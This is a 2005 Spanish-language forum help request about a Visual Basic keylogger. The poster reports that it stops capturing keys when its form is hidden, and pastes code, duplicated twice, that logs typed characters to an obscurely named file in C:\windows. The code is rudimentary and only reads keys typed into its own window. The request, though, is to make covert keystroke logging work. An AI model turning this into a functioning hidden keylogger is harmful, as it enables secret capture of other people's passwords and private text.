AYUDA CON UN KEYLOGGER
Publicado por OsCaR ☺ (4 intervenciones) el 27/07/2005 08:49:29
HOLA NECESITO AYUDA CON UN KEYLOGGER, LO QUE PASA ES QUE CUANDO LO CORRO CON LAS PROPIEDADES VISIBLE Y ENABLE EN TRUE, TODO ESTO CUANDO LO ESTOY PROVANDO DESDE VB , Y ES CUANDO FUNCIONA TODO BIEN, SIN EMBARGO, CUANDO LO CORRO YA EN EJECUTABLE, CON LA PROPIEDAD VISIBLE EN FALSE, Y PARECIERA QUE NO LEE NINGUNA TECLA PRECIONADA, NOSE QUE DEBERIA HACER, OIALA ME PUEDAN AYUDAR, DE ANTEMANO GRACIAS, (ACONTINUACION LES PONGO EL CODIGO QUE ESTOY USANDO)
Dim text As String, text1 As String
Private Sub Form_KeyPress(KeyAscii As Integer)
text = Chr$(KeyAscii)
text1 = text1 & text
If Len(text1) >= 20 Then
Print #1, text1
Unload Me
End If
End Sub
Private Sub Form_Load()
Open (\"C:\\windows\\{olm1245.num\") For Append As #1
End Sub
Private Sub Form_Unload(Cancel As Integer)
If text1 = \"borrarborrarborrarbo\" Then
Close #1
Open (\"C:\\windows\\{olm1245.num\") For Output As #1
Print #1, \"aqui empesamos\"
Else
Print #1, Date
text = \"\"
End If
Close #1
End Sub
Dim text As String, text1 As String
Private Sub Form_KeyPress(KeyAscii As Integer)
text = Chr$(KeyAscii)
text1 = text1 & text
If Len(text1) >= 20 Then
Print #1, text1
Unload Me
End If
End Sub
Private Sub Form_Load()
Open (\"C:\\windows\\{olm1245.num\") For Append As #1
End Sub
Private Sub Form_Unload(Cancel As Integer)
If text1 = \"borrarborrarborrarbo\" Then
Close #1
Open (\"C:\\windows\\{olm1245.num\") For Output As #1
Print #1, \"aqui empesamos\"
Else
Print #1, Date
text = \"\"
End If
Close #1
End Sub
Valora esta pregunta


0